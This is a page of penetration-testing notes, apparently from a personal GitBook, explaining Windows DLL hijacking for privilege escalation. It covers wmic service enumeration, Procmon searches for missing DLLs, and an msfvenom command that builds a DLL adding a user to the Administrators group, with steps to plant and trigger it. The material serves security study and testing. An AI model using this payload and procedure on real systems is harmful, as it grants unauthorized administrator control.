> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/service-enumeration/dll-hijacking.md).

# DLL Hijacking

**DLL Hijacking** occurs when a Windows application or service attempts to load a missing or improperly located DLL. If an attacker can place a malicious DLL in a writable path that gets searched first, they can execute arbitrary code with the privileges of the target process.

***

### Enumeration Steps

#### Enumerate Services

Check for auto-start services that may load DLLs at boot or service start:

```cmd
wmic service get name, displayname, startmode
wmic service where startmode="Auto" get name, displayname, state, startmode
```

Look for services with:

* **Known DLL dependencies**
* **Executable paths pointing to writable directories**

#### Identify DLL Search Paths

Using **Procmon**, monitor the target service for:

* Missing DLLs
* DLL loading attempts from writable directories (e.g., `C:\Program Files (x86)\App\`, `%APPDATA%`, or `C:\Users\Public`)

#### Find a Writable Location

Check if the application loads DLLs from locations where you have **write permissions**.

#### 4. Generate Malicious DLL

Use `msfvenom` to craft a DLL payload:

```bash
msfvenom -p windows/exec CMD="net localgroup Administrators jdoe /add" -f dll -o admin-prv.dll
```

This payload adds a new user `jdoe` to the Administrators group.

#### Place the DLL

Upload your DLL to the vulnerable, writable directory where the service expects the DLL.

#### Trigger Execution

* **Reboot the system** (if the service starts at boot), or
* **Restart the service manually** (if possible)

If the service runs with SYSTEM or Administrator privileges, your DLL will execute with the same context.

***

### Notes

* Works best when DLL dependency is not found (e.g., `missing.dll`)
* Make sure DLL name matches the one searched by the service
* Useful in post-exploitation scenarios with write access but no direct privilege

***

### Tools

* **Procmon (Process Monitor)**:\
  Download: [Sysinternals Procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)\
  Use to monitor file access and identify missing DLLs being searched by applications.
* **Example Exploit**:\
  [Exploit-DB 14748](https://www.exploit-db.com/exploits/14748)